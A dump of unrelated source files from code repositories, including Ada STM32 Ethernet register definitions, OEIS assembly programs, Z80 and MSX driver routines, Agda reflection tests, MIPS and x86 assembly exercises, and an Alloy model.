-- Ethernet DMA operation mode register type DMAOMR_Register is record -- unspecified Reserved_0_0 : HAL.Bit := 16#0#; -- SR SR : Boolean := False; -- OSF OSF : Boolean := False; -- RTC RTC : DMAOMR_RTC_Field := 16#0#; -- unspecified Reserved_5_5 : HAL.Bit := 16#0#; -- FUGF FUGF : Boolean := False; -- FEF FEF : Boolean := False; -- unspecified Reserved_8_12 : HAL.UInt5 := 16#0#; -- ST ST : Boolean := False; -- TTC TTC : DMAOMR_TTC_Field := 16#0#; -- unspecified Reserved_17_19 : HAL.UInt3 := 16#0#; -- FTF FTF : Boolean := False; -- TSF TSF : Boolean := False; -- unspecified Reserved_22_23 : HAL.UInt2 := 16#0#; -- DFRF DFRF : Boolean := False; -- RSF RSF : Boolean := False; -- DTCEFD DTCEFD : Boolean := False; -- unspecified Reserved_27_31 : HAL.UInt5 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for DMAOMR_Register use record Reserved_0_0 at 0 range 0 .. 0; SR at 0 range 1 .. 1; OSF at 0 range 2 .. 2; RTC at 0 range 3 .. 4; Reserved_5_5 at 0 range 5 .. 5; FUGF at 0 range 6 .. 6; FEF at 0 range 7 .. 7; Reserved_8_12 at 0 range 8 .. 12; ST at 0 range 13 .. 13; TTC at 0 range 14 .. 16; Reserved_17_19 at 0 range 17 .. 19; FTF at 0 range 20 .. 20; TSF at 0 range 21 .. 21; Reserved_22_23 at 0 range 22 .. 23; DFRF at 0 range 24 .. 24; RSF at 0 range 25 .. 25; DTCEFD at 0 range 26 .. 26; Reserved_27_31 at 0 range 27 .. 31; end record; --------------------- -- DMAIER_Register -- --------------------- -- Ethernet DMA interrupt enable register type DMAIER_Register is record -- no description available TIE : Boolean := False; -- no description available TPSIE : Boolean := False; -- no description available TBUIE : Boolean := False; -- no description available TJTIE : Boolean := False; -- no description available ROIE : Boolean := False; -- no description available TUIE : Boolean := False; -- no description available RIE : Boolean := False; -- no description available RBUIE : Boolean := False; -- no description available RPSIE : Boolean := False; -- no description available RWTIE : Boolean := False; -- no description available ETIE : Boolean := False; -- unspecified Reserved_11_12 : HAL.UInt2 := 16#0#; -- no description available FBEIE : Boolean := False; -- no description available ERIE : Boolean := False; -- no description available AISE : Boolean := False; -- no description available NISE : Boolean := False; -- unspecified Reserved_17_31 : HAL.UInt15 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for DMAIER_Register use record TIE at 0 range 0 .. 0; TPSIE at 0 range 1 .. 1; TBUIE at 0 range 2 .. 2; TJTIE at 0 range 3 .. 3; ROIE at 0 range 4 .. 4; TUIE at 0 range 5 .. 5; RIE at 0 range 6 .. 6; RBUIE at 0 range 7 .. 7; RPSIE at 0 range 8 .. 8; RWTIE at 0 range 9 .. 9; ETIE at 0 range 10 .. 10; Reserved_11_12 at 0 range 11 .. 12; FBEIE at 0 range 13 .. 13; ERIE at 0 range 14 .. 14; AISE at 0 range 15 .. 15; NISE at 0 range 16 .. 16; Reserved_17_31 at 0 range 17 .. 31; end record; ------------------------ -- DMAMFBOCR_Register -- ------------------------ subtype DMAMFBOCR_MFC_Field is HAL.Short; subtype DMAMFBOCR_MFA_Field is HAL.UInt11; -- Ethernet DMA missed frame and buffer overflow counter register type DMAMFBOCR_Register is record -- no description available MFC : DMAMFBOCR_MFC_Field := 16#0#; -- no description available OMFC : Boolean := False; -- no description available MFA : DMAMFBOCR_MFA_Field := 16#0#; -- no description available OFOC : Boolean := False; -- unspecified Reserved_29_31 : HAL.UInt3 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for DMAMFBOCR_Register use record MFC at 0 range 0 .. 15; OMFC at 0 range 16 .. 16; MFA at 0 range 17 .. 27; OFOC at 0 range 28 .. 28; Reserved_29_31 at 0 range 29 .. 31; end record; ----------------------- -- DMARSWTR_Register -- ----------------------- subtype DMARSWTR_RSWTC_Field is HAL.Byte; -- Ethernet DMA receive status watchdog timer register type DMARSWTR_Register is record -- RSWTC RSWTC : DMARSWTR_RSWTC_Field := 16#0#; -- unspecified Reserved_8_31 : HAL.UInt24 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for DMARSWTR_Register use record RSWTC at 0 range 0 .. 7; Reserved_8_31 at 0 range 8 .. 31; end record; ----------------- -- Peripherals -- ----------------- -- Ethernet: media access control (MAC) type Ethernet_MAC_Peripheral is record -- Ethernet MAC configuration register MACCR : MACCR_Register; -- Ethernet MAC frame filter register MACFFR : MACFFR_Register; -- Ethernet MAC hash table high register MACHTHR : HAL.Word; -- Ethernet MAC hash table low register MACHTLR : HAL.Word; -- Ethernet MAC MII address register MACMIIAR : MACMIIAR_Register; -- Ethernet MAC MII data register MACMIIDR : MACMIIDR_Register; -- Ethernet MAC flow control register MACFCR : MACFCR_Register; -- Ethernet MAC VLAN tag register MACVLANTR : MACVLANTR_Register; -- Ethernet MAC PMT control and status register MACPMTCSR : MACPMTCSR_Register; -- Ethernet MAC debug register MACDBGR : MACDBGR_Register; -- Ethernet MAC interrupt status register MACSR : MACSR_Register; -- Ethernet MAC interrupt mask register MACIMR : MACIMR_Register; -- Ethernet MAC address 0 high register MACA0HR : MACA0HR_Register; -- Ethernet MAC address 0 low register MACA0LR : HAL.Word; -- Ethernet MAC address 1 high register MACA1HR : MACA1HR_Register; -- Ethernet MAC address1 low register MACA1LR : HAL.Word; -- Ethernet MAC address 2 high register MACA2HR : MACA2HR_Register; -- Ethernet MAC address 2 low register MACA2LR : MACA2LR_Register; -- Ethernet MAC address 3 high register MACA3HR : MACA3HR_Register; -- Ethernet MAC address 3 low register MACA3LR : HAL.Word; end record with Volatile; for Ethernet_MAC_Peripheral use record MACCR at 0 range 0 .. 31; MACFFR at 4 range 0 .. 31; MACHTHR at 8 range 0 .. 31; MACHTLR at 12 range 0 .. 31; MACMIIAR at 16 range 0 .. 31; MACMIIDR at 20 range 0 .. 31; MACFCR at 24 range 0 .. 31; MACVLANTR at 28 range 0 .. 31; MACPMTCSR at 44 range 0 .. 31; MACDBGR at 52 range 0 .. 31; MACSR at 56 range 0 .. 31; MACIMR at 60 range 0 .. 31; MACA0HR at 64 range 0 .. 31; MACA0LR at 68 range 0 .. 31; MACA1HR at 72 range 0 .. 31; MACA1LR at 76 range 0 .. 31; MACA2HR at 80 range 0 .. 31; MACA2LR at 84 range 0 .. 31; MACA3HR at 88 range 0 .. 31; MACA3LR at 92 range 0 .. 31; end record; -- Ethernet: media access control (MAC) Ethernet_MAC_Periph : aliased Ethernet_MAC_Peripheral with Import, Address => Ethernet_MAC_Base; -- Ethernet: MAC management counters type Ethernet_MMC_Peripheral is record -- Ethernet MMC control register MMCCR : MMCCR_Register; -- Ethernet MMC receive interrupt register MMCRIR : MMCRIR_Register; -- Ethernet MMC transmit interrupt register MMCTIR : MMCTIR_Register; -- Ethernet MMC receive interrupt mask register MMCRIMR : MMCRIMR_Register; -- Ethernet MMC transmit interrupt mask register MMCTIMR : MMCTIMR_Register; -- Ethernet MMC transmitted good frames after a single collision counter MMCTGFSCCR : HAL.Word; -- Ethernet MMC transmitted good frames after more than a single -- collision MMCTGFMSCCR : HAL.Word; -- Ethernet MMC transmitted good frames counter register MMCTGFCR : HAL.Word; -- Ethernet MMC received frames with CRC error counter register MMCRFCECR : HAL.Word; -- Ethernet MMC received frames with alignment error counter register MMCRFAECR : HAL.Word; -- MMC received good unicast frames counter register MMCRGUFCR : HAL.Word; end record with Volatile; for Ethernet_MMC_Peripheral use record MMCCR at 0 range 0 .. 31; MMCRIR at 4 range 0 .. 31; MMCTIR at 8 range 0 .. 31; MMCRIMR at 12 range 0 .. 31; MMCTIMR at 16 range 0 .. 31; MMCTGFSCCR at 76 range 0 .. 31; MMCTGFMSCCR at 80 range 0 .. 31; MMCTGFCR at 104 range 0 .. 31; MMCRFCECR at 148 range 0 .. 31; MMCRFAECR at 152 range 0 .. 31; MMCRGUFCR at 196 range 0 .. 31; end record; -- Ethernet: MAC management counters Ethernet_MMC_Periph : aliased Ethernet_MMC_Peripheral with Import, Address => Ethernet_MMC_Base; -- Ethernet: Precision time protocol type Ethernet_PTP_Peripheral is record -- Ethernet PTP time stamp control register PTPTSCR : PTPTSCR_Register; -- Ethernet PTP subsecond increment register PTPSSIR : PTPSSIR_Register; -- Ethernet PTP time stamp high register PTPTSHR : HAL.Word; -- Ethernet PTP time stamp low register PTPTSLR : PTPTSLR_Register; -- Ethernet PTP time stamp high update register PTPTSHUR : HAL.Word; -- Ethernet PTP time stamp low update register PTPTSLUR : PTPTSLUR_Register; -- Ethernet PTP time stamp addend register PTPTSAR : HAL.Word; -- Ethernet PTP target time high register PTPTTHR : HAL.Word; -- Ethernet PTP target time low register PTPTTLR : HAL.Word; -- Ethernet PTP time stamp status register PTPTSSR : PTPTSSR_Register; -- Ethernet PTP PPS control register PTPPPSCR : PTPPPSCR_Register; end record with Volatile; for Ethernet_PTP_Peripheral use record PTPTSCR at 0 range 0 .. 31; PTPSSIR at 4 range 0 .. 31; PTPTSHR at 8 range 0 .. 31; PTPTSLR at 12 range 0 .. 31; PTPTSHUR at 16 range 0 .. 31; PTPTSLUR at 20 range 0 .. 31; PTPTSAR at 24 range 0 .. 31; PTPTTHR at 28 range 0 .. 31; PTPTTLR at 32 range 0 .. 31; PTPTSSR at 40 range 0 .. 31; PTPPPSCR at 44 range 0 .. 31; end record; -- Ethernet: Precision time protocol Ethernet_PTP_Periph : aliased Ethernet_PTP_Peripheral with Import, Address => Ethernet_PTP_Base; -- Ethernet: DMA controller operation type Ethernet_DMA_Peripheral is record -- Ethernet DMA bus mode register DMABMR : DMABMR_Register; -- Ethernet DMA transmit poll demand register DMATPDR : HAL.Word; -- EHERNET DMA receive poll demand register DMARPDR : HAL.Word; -- Ethernet DMA receive descriptor list address register DMARDLAR : HAL.Word; -- Ethernet DMA transmit descriptor list address register DMATDLAR : HAL.Word; -- Ethernet DMA status register DMASR : DMASR_Register; -- Ethernet DMA operation mode register DMAOMR : DMAOMR_Register; -- Ethernet DMA interrupt enable register DMAIER : DMAIER_Register; -- Ethernet DMA missed frame and buffer overflow counter register DMAMFBOCR : DMAMFBOCR_Register; -- Ethernet DMA receive status watchdog timer register DMARSWTR : DMARSWTR_Register; -- Ethernet DMA current host transmit descriptor register DMACHTDR : HAL.Word; -- Ethernet DMA current host receive descriptor register DMACHRDR : HAL.Word; -- Ethernet DMA current host transmit buffer address register DMACHTBAR : HAL.Word; -- Ethernet DMA current host receive buffer address register DMACHRBAR : HAL.Word; end record with Volatile; for Ethernet_DMA_Peripheral use record DMABMR at 0 range 0 .. 31; DMATPDR at 4 range 0 .. 31; DMARPDR at 8 range 0 .. 31; DMARDLAR at 12 range 0 .. 31; DMATDLAR at 16 range 0 .. 31; DMASR at 20 range 0 .. 31; DMAOMR at 24 range 0 .. 31; DMAIER at 28 range 0 .. 31; DMAMFBOCR at 32 range 0 .. 31; DMARSWTR at 36 range 0 .. 31; DMACHTDR at 72 range 0 .. 31; DMACHRDR at 76 range 0 .. 31; DMACHTBAR at 80 range 0 .. 31; DMACHRBAR at 84 range 0 .. 31; end record; -- Ethernet: DMA controller operation Ethernet_DMA_Periph : aliased Ethernet_DMA_Peripheral with Import, Address => Ethernet_DMA_Base; end STM32_SVD.Ethernet;
programs/oeis/002/A002450.asm
neoneye/loda
22
241633
; A002450: a(n) = (4^n - 1)/3. ; 0,1,5,21,85,341,1365,5461,21845,87381,349525,1398101,5592405,22369621,89478485,357913941,1431655765,5726623061,22906492245,91625968981,366503875925,1466015503701,5864062014805,23456248059221,93824992236885,375299968947541,1501199875790165,6004799503160661,24019198012642645,96076792050570581,384307168202282325,1537228672809129301,6148914691236517205,24595658764946068821,98382635059784275285,393530540239137101141,1574122160956548404565,6296488643826193618261,25185954575304774473045,100743818301219097892181,402975273204876391568725,1611901092819505566274901,6447604371278022265099605,25790417485112089060398421,103161669940448356241593685,412646679761793424966374741,1650586719047173699865498965,6602346876188694799461995861,26409387504754779197847983445,105637550019019116791391933781,422550200076076467165567735125,1690200800304305868662270940501,6760803201217223474649083762005,27043212804868893898596335048021,108172851219475575594385340192085,432691404877902302377541360768341,1730765619511609209510165443073365,6923062478046436838040661772293461,27692249912185747352162647089173845,110768999648742989408650588356695381,443075998594971957634602353426781525 mov $1,4 pow $1,$0 div $1,3 mov $0,$1
libsrc/_DEVELOPMENT/target/yaz180/driver/diskio/c/sccz80/disk_ioctl.asm
ahjelm/z88dk
640
99103
<filename>libsrc/_DEVELOPMENT/target/yaz180/driver/diskio/c/sccz80/disk_ioctl.asm<gh_stars>100-1000 SECTION code_driver PUBLIC disk_ioctl EXTERN asm_disk_ioctl ;------------------------------------------------------------------------------ ; Routines that talk with the IDE drive, these should be called from diskio.h ; extern DRESULT disk_ioctl (BYTE pdrv, BYTE cmd, void* buff); ; ; entry ; c = BYTE pdrv ; b = BYTE cmd ; hl = void* buff ; ; exit ; l = DRESULT, set carry flag ; control the ide drive disk_ioctl: pop af pop hl pop de pop bc push bc push de push hl push af ld b, e jp asm_disk_ioctl
oeis/000/A000215.asm
neoneye/loda-programs
11
13936
<gh_stars>10-100 ; A000215: Fermat numbers: a(n) = 2^(2^n) + 1. ; Submitted by <NAME> ; 3,5,17,257,65537,4294967297,18446744073709551617,340282366920938463463374607431768211457 mov $1,2 pow $1,$0 mov $0,2 pow $0,$1 add $0,1
test/Succeed/recons-with-reducedefs.agda
KDr2/agda
1
10294
<gh_stars>1-10 open import Agda.Builtin.Nat open import Agda.Builtin.Unit open import Agda.Builtin.Reflection renaming (bindTC to _>>=_) open import Agda.Builtin.List open import Agda.Builtin.Sigma open import Agda.Builtin.Equality open import Agda.Primitive record X {a} (A : Set a) : Set a where field fld : A d : X Nat d = record { fld = 5 } -- Here we test that suppressing reduction of lzero has no effect on the reconstruction -- of parameters. Essentially, we ignore ReduceDefs annotations when reconstructing -- hidden parameters. macro x : Term → TC ⊤ x hole = do (function (clause tel ps t ∷ [])) ← withReconstructed (getDefinition (quote d)) where _ → quoteTC "ERROR" >>= unify hole a ← withReconstructed (dontReduceDefs (quote lzero ∷ []) (normalise t)) quoteTC a >>= unify hole -- If we were to consider suppressed reduction of lzero, we end up with -- Set ≠ Set lzero. test₁ : Term test₁ = x map : ∀ {a b}{A : Set a}{B : Set b} → (A → B) → List A → List B map f [] = [] map f (x ∷ xs) = f x ∷ map f xs reverse : ∀ {a}{A : Set a} → List A → List A reverse {A = A} xs = reverseAcc xs [] where reverseAcc : List A → List A → List A reverseAcc [] a = a reverseAcc (x ∷ xs) a = reverseAcc xs (x ∷ a) foo : Nat → Nat foo x = 1 + x bar : Nat → Nat bar x = foo (foo (x)) -- Here we test that normalisation respects ReduceDefs -- when parameter reconstruction is on. macro y : Term → TC ⊤ y hole = do (function (clause tel ps t ∷ [])) ← withReconstructed (dontReduceDefs (quote foo ∷ []) (getDefinition (quote bar))) where _ → quoteTC "ERROR" >>= unify hole t ← inContext (reverse tel) (withReconstructed (dontReduceDefs (quote foo ∷ []) (normalise t))) quoteTC t >>= unify hole test₂ : y ≡ def (quote foo) (arg _ (def (quote foo) _) ∷ []) test₂ = refl
src/logging_message.ads
dshadrin/AProxy
1
15349
---------------------------------------- -- Copyright (C) 2019 <NAME> -- -- All rights reserved. -- ---------------------------------------- with Pal; use Pal; with TimeStamp; with Ada.Strings.Unbounded; with Formatted_Output; use Formatted_Output; with Formatted_Output.Integer_Output; with Formatted_Output.Enumeration_Output; -------------------------------------------------------------------------------- package Logging_Message is type ESeverity is ( eTrace, eDebug, eInfo, eTest, eWarn, eError, eCrit ); for ESeverity'Size use int8_t'Size; ----------------------------------------------------------------------------- type LogChannel is new Pal.int8_t; package Formatter_Channel is new Formatted_Output.Integer_Output (LogChannel); LOG_UNKNOWN_CHANNEL : constant LogChannel := -1; LOG_INTERNAL_CHANNEL : constant LogChannel := 0; LOG_UART_FILTERED_CHANNEL : constant LogChannel := 1; LOG_UART_RAW_CHANNEL : constant LogChannel := 2; LOG_CLIENT_CHANNEL : constant LogChannel := 3; G_TagSize : constant uint32_t := 4; G_MaxMessageSize : constant uint32_t := 4096; ----------------------------------------------------------------------------- type ELoggingMode is ( eLoggingToServer, eNoLogging ); type ELogCommand is ( eMessage, eChangeFile, eStop ); ----------------------------------------------------------------------------- type SLogPackage is record message : Ada.Strings.Unbounded.Unbounded_String; tag : String (1 .. G_TagSize); tm_stamp : TimeStamp.timespec; command : ELogCommand; severity : ESeverity; lchannel : LogChannel; end record; type SLogPackagePtr is access all SLogPackage; function "<" (lhd : access constant SLogPackage; rhd : access constant SLogPackage) return bool with inline; function "=" (lhd : access constant SLogPackage; rhd : access constant SLogPackage) return bool with inline; ----------------------------------------------------------------------------- package SP is new Smart_Ptr (TypeName => SLogPackage, SharedObject => SLogPackagePtr); subtype LogMessage is SP.Shared_Ptr; function "<" (lhd : in LogMessage; rhd : in LogMessage) return bool with inline; function "=" (lhd : in LogMessage; rhd : in LogMessage) return bool with inline; ----------------------------------------------------------------------------- procedure LOG_TRACE (tag : String; str : String; ch : LogChannel := 0) with inline; procedure LOG_DEBUG (tag : String; str : String; ch : LogChannel := 0) with inline; procedure LOG_INFO (tag : String; str : String; ch : LogChannel := 0) with inline; procedure LOG_TEST (tag : String; str : String; ch : LogChannel := 0) with inline; procedure LOG_WARN (tag : String; str : String; ch : LogChannel := 0) with inline; procedure LOG_ERR (tag : String; str : String; ch : LogChannel := 0) with inline; procedure LOG_CRIT (tag : String; str : String; ch : LogChannel := 0) with inline; private procedure Log (sev : ESeverity; tag : String; str : String; ch : LogChannel); end Logging_Message;
src/servlet-core-mappers.ads
My-Colaborations/ada-servlet
6
17137
----------------------------------------------------------------------- -- servlet-servlets-mappers -- Read servlet configuration files -- Copyright (C) 2011, 2015, 2017 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Util.Beans.Objects; with Util.Serialize.Mappers.Record_Mapper; with Util.Beans.Objects.Vectors; with EL.Contexts; -- The <b>Servlet.Core.Mappers</b> package defines an XML mapper that can be used -- to read the servlet configuration files. -- -- The servlet configuration used by Servlet is a subset of the servlet deployment descriptor -- defined in JSR 315 - Java Servlet Specification Version 3.0. It includes: -- -- <ul> -- <li>Definition of filter mapping (<b>filter-mapping</b> tag)</li> -- <li>Definition of servlet mapping (<b>servlet-mapping</b> tag)</li> -- <li>Definition of context parameters (<b>context-param</b> tag)</li> -- <li>Definition of mime types (<b>mime-mapping</b> tag)</li> -- <li>Definition of error pages (<b>error-page</b> tag)</li> -- </ul> -- -- Other configurations are ignored by the mapper. -- -- Note: several JSR 315 configuration parameters do not makes sense in the Servlet world -- because we cannot create a servlet or a filter through the configuration file. package Servlet.Core.Mappers is type Servlet_Fields is (FILTER_MAPPING, FILTER_NAME, SERVLET_NAME, URL_PATTERN, SERVLET_MAPPING, CONTEXT_PARAM, PARAM_NAME, PARAM_VALUE, MIME_MAPPING, MIME_TYPE, EXTENSION, ERROR_PAGE, ERROR_CODE, LOCATION); -- ------------------------------ -- Servlet Config Reader -- ------------------------------ -- When reading and parsing the servlet configuration file, the <b>Servlet_Config</b> object -- is populated by calls through the <b>Set_Member</b> procedure. The data is -- collected and when the end of an element (FILTER_MAPPING, SERVLET_MAPPING, CONTEXT_PARAM) -- is reached, the definition is updated in the servlet registry. type Servlet_Config is limited record Filter_Name : Util.Beans.Objects.Object; Servlet_Name : Util.Beans.Objects.Object; URL_Patterns : Util.Beans.Objects.Vectors.Vector; Param_Name : Util.Beans.Objects.Object; Param_Value : Util.Beans.Objects.Object; Mime_Type : Util.Beans.Objects.Object; Extension : Util.Beans.Objects.Object; Error_Code : Util.Beans.Objects.Object; Location : Util.Beans.Objects.Object; Handler : Servlet_Registry_Access; Context : EL.Contexts.ELContext_Access; Override_Context : Boolean := True; end record; type Servlet_Config_Access is access all Servlet_Config; -- Save in the servlet config object the value associated with the given field. -- When the <b>FILTER_MAPPING</b>, <b>SERVLET_MAPPING</b> or <b>CONTEXT_PARAM</b> field -- is reached, insert the new configuration rule in the servlet registry. procedure Set_Member (N : in out Servlet_Config; Field : in Servlet_Fields; Value : in Util.Beans.Objects.Object); -- Setup the XML parser to read the servlet and mapping rules <b>context-param</b>, -- <b>filter-mapping</b> and <b>servlet-mapping</b>. generic Mapper : in out Util.Serialize.Mappers.Processing; Handler : in Servlet_Registry_Access; Context : in EL.Contexts.ELContext_Access; package Reader_Config is Config : aliased Servlet_Config; end Reader_Config; private package Servlet_Mapper is new Util.Serialize.Mappers.Record_Mapper (Element_Type => Servlet_Config, Element_Type_Access => Servlet_Config_Access, Fields => Servlet_Fields, Set_Member => Set_Member); end Servlet.Core.Mappers;
ada/original_2008/ada-demos/winicon_callbacks.adb
auzkok/libagar
286
1201
with ada.text_io; package body winicon_callbacks is package io renames ada.text_io; procedure quit (event : gui_event.event_access_t) is begin io.put_line ("winicon: exiting"); agar.core.quit; end quit; end winicon_callbacks;
test/Fail/NoLetInRecordTele.agda
shlevy/agda
1,989
7280
open import Agda.Primitive open import Agda.Builtin.Sigma open import Agda.Builtin.Equality record R {A : Set} {B : A → Set} p@ab : Set where field prf : p ≡ p
programs/oeis/301/A301560.asm
karttu/loda
1
19780
<reponame>karttu/loda ; A301560: Matching number of the n-odd graph. ; 0,1,5,17,63,231,858,3217,12155,46189,176358,676039,2600150,10029150,38779380,150270097,583401555,2268783825,8836315950,34461632205,134564468610,526024740930,2058357681900,8061900920775,31602651609438,123979633237026,486734856412028 mov $1,$0 add $1,1 mov $2,$0 add $2,1 add $1,$2 sub $1,1 bin $1,$2 div $1,2
libsrc/graphics/msx/fill.asm
andydansby/z88dk-mk2
1
24428
<filename>libsrc/graphics/msx/fill.asm ; ; MSX basic graphics routines ; by <NAME>, December 2007 ; ; ; $Id: fill.asm,v 1.2 2009/06/22 21:44:17 dom Exp $ ; ;Usage: fill(struct *pixel) XLIB fill INCLUDE "graphics/grafix.inc" LIB msxextrom LIB msxbasic INCLUDE "msxbasic.def" LIB msx_breakoff LIB msx_breakon .fill ld ix,0 add ix,sp ld a,(ix+2) cp maxy ;check range for y ret nc ld l,(ix+4) ;x ld h,0 ld d,h ld e,a ;y ld (GRPACX),hl ld (GRPACY),de push hl push de ld a,fcolor ld (ATRBYT),a ; set fill color ld (BRDATR),a ; set border color ;ld hl,-2048 ;add hl,sp ;ld (STREND),hl pop de ; set y pop bc ; set x call msx_breakoff ld a,(SCRMOD) cp 4+1 jr c,pnt_old ld ix,N_PAINT call msxextrom jr pnt_done pnt_old: ld ix,O_PAINT call msxbasic pnt_done: jp msx_breakon
tests/syntax/good/testfile-lexical-1.adb
xuedong/mini-ada
0
27834
<filename>tests/syntax/good/testfile-lexical-1.adb with Ada.Text_IO; use Ada.Text_IO; procedure Test is begin put('''); end;
mips_architecture/lab5_ex3.asm
christosmarg/uni-assignments
0
98147
<reponame>christosmarg/uni-assignments .eqv SYS_EXIT 10 .data arr: .byte 1, 15, 0, -3, 99, 48, -17, -9, 20, 15 .text .globl main main: # init loop $t0, sum $t1 counters li $t0, 0 li $t1, 0 calcsum: beq $t0, 10, exit lb $t3, arr($t0) add $t1, $t1, $t3 addi $t0, $t0, 1 j calcsum exit: li $v0, SYS_EXIT syscall
oeis/183/A183314.asm
neoneye/loda-programs
11
174831
; A183314: Number of n X 2 binary arrays with an element zero only if there are an even number of ones to its left and an even number of ones above it. ; Submitted by Christian Krause ; 3,6,13,27,57,119,250,523,1097,2297,4815,10086,21137,44283,92793,194419,407378,853559,1788481,3747361,7851867,16451910,34471669,72228171,151339401,317100335,664418698,1392152131,2916968489,6111905849,12806240487,26832837414,56222684537,117803050443,246832026153,517185655531,1083655999010,2270577889007,4757528204353,9968420216833,20886770941875,43763925499014,91698289903453,192134875241787,402579048511257,843521458834151,1767425439222682,3703275891972091,7759451702294729,16258332480154169 lpb $0 sub $0,1 sub $3,$4 add $3,1 add $1,$3 add $4,1 add $4,$2 add $2,$3 mov $5,$4 mov $4,$2 mov $2,$3 add $4,$1 add $5,$4 mov $3,$5 lpe mov $0,$3 add $0,3
flipwalk.asm
mariahassan54/Super-Mario-Game-in-Assembly-Language
0
246644
<gh_stars>0 .model medium, stdcall .stack 120h .data flipSkin DB 14d flipc1 byte 06d flipc2 byte 04d .code drawWBackward proc x:word, y:word push AX push BX push CX push DX push SI push DI mov AX, @data mov DS, AX mov CX, x mov DX, y push CX mov ah, 0ch mov al, flipc2 ;1st row red portion add CX,8 int 10h inc CX int 10h inc CX int 10h inc CX int 10h add CX, 3 mov al,flipc1 int 10h pop CX push CX dec DX add CX,5 mov al,flipc2 ;row 2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h pop CX ;row 3 push CX dec DX int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h pop CX ;row 4 push CX dec DX int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h add CX,2 mov al,flipSkin int 10h pop CX ;row 5 push CX dec DX mov al,flipc1 int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX mov al,flipSkin int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipc2 int 10h inc CX int 10h add CX,2 mov al,flipSkin int 10h inc CX int 10h inc CX int 10h pop CX ;row 6 push CX dec DX mov al,flipc1 int 10h add CX,3 mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX int 10h pop CX ;row 7 push CX dec DX mov al,flipc1 int 10h add CX,3 mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 8 push CX dec DX add CX,3 int 10h inc CX mov al,flipc2 int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 9 push CX dec DX add CX,2 int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX pop CX ;row 10 push CX dec DX add CX,1 mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h pop CX ;row 11 push CX dec DX int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX mov al,flipc1 int 10h pop CX ;row 12 push CX dec DX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipSkin int 10h inc CX mov al,flipc1 int 10h pop CX ;row 13 push CX dec DX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h add CX,2 mov al,flipSkin int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h pop CX ;row 14 push CX dec DX mov al,flipSkin int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX pop CX ;row 15 push CX dec DX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h add CX,3 mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX pop CX ;row 16 push CX dec DX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h pop CX pop DI pop SI pop DX pop CX pop BX pop AX ret drawWBackward endp end
alloy4fun_models/trashltl/models/15/DxNCJzy8YF7YS3dRL.als
Kaixi26/org.alloytools.alloy
0
233
<gh_stars>0 open main pred idDxNCJzy8YF7YS3dRL_prop16 { all f : File | historically f in Protected } pred __repair { idDxNCJzy8YF7YS3dRL_prop16 } check __repair { idDxNCJzy8YF7YS3dRL_prop16 <=> prop16o }
day24/src/main.adb
jwarwick/aoc_2020
3
18276
